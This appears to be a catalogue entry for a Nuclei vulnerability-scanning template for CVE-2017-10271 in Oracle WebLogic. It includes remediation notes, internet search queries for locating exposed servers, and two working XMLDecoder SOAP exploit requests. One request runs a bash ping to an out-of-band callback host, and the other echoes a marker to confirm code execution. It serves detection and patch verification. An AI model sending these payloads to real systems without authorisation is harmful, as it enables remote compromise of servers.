CVE-2017-10271: Oracle WebLogic Server - Remote Command Execution
- Template: CVE-2017-10271
- Name: Oracle WebLogic Server - Remote Command Execution
- Description: The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
- Impact: Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
- Remediation: Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms.
- Severity: high
- Authors: dr_set, ImNightmaree, true13
- Tags: cve, cve2017, weblogic, oast, kev, vulhub, rce, oracle, vkev, vuln
- References: https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271, https://github.com/SuperHacker-liuan/cve-2017-10271-poc, http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html, https://nvd.nist.gov/vuln/detail/CVE-2017-10271, http://www.securitytracker.com/id/1039608
- Cves: CVE-2017-10271
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2017/CVE-2017-10271.yaml
- Digest: 490a004630440220020fea94ba0aa5ade01b49dc8246731f1f51a9e45a9db13d1615ba5224e5e2c302201bdf2c48bbabfecc385e90c451df5626e36b64b17317e0754ec64f78cee51a36
- Created at: 2021-02-04T19:45:57Z
- Updated at: 2026-10-15T02:05:28Z
- Age in days: 2119
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-10271.yaml
- Checked, none or zero: verified
Classification
- Cvss score: 7.5
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Epss score: 0.99994
- Epss percentile: 0.99988
- Cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
- Checked, none or zero: cwe
Metadata
- Fofa-query: title="oracle peoplesoft sign-in"
- Google-query: intitle:"oracle peoplesoft sign-in"
- Max-request: 2
- Product: weblogic_server
- Shodan-query: http.title:"oracle peoplesoft sign-in", product:"oracle weblogic"
- Vendor: oracle
Products
| Product | Indexed | Url |
|---|---|---|
| oracle:weblogic_server | yes | /v1/products/oracle/weblogic_server |
Labels
- Name: Oracle WebLogic Server - Remote Command Execution
- Impact: Attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
- Remediation: Update to the latest version of Oracle WebLogic Server or apply the security patches provided by Oracle.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2017-10271
- Not known: requirements
```yaml
id: CVE-2017-10271
info:
name: Oracle WebLogic Server - Remote Command Execution
author: dr_set,ImNightmaree,true13
severity: high
description: |
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
remediation: |
Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms.
reference:
- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
- http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
- https://nvd.nist.gov/vuln/detail/CVE-2017-10271
- http://www.securitytracker.com/id/1039608
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2017-10271
epss-score: 0.99994
epss-percentile: 0.99988
cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: oracle
product: weblogic_server
shodan-query:
- http.title:"oracle peoplesoft sign-in"
- product:"oracle weblogic"
fofa-query: title="oracle peoplesoft sign-in"
google-query: intitle:"oracle peoplesoft sign-in"
tags: cve,cve2017,weblogic,oast,kev,vulhub,rce,oracle,vkev,vuln
http:
- raw:
- |
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext
xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping -c 1 {{interactsh-url}}</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
- |
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
- contains(interactsh_protocol, "dns")
- status_code == 500
condition: and
- type: dsl
dsl:
- body == "{{randstr}}"
- status_code == 200
condition: and
digest: 490a004630440220020fea94ba0aa5ade01b49dc8246731f1f51a9e45a9db13d1615ba5224e5e2c302201bdf2c48bbabfecc385e90c451df5626e36b64b17317e0754ec64f78cee51a36:922c64590222798bb761d5b6d8e72950
```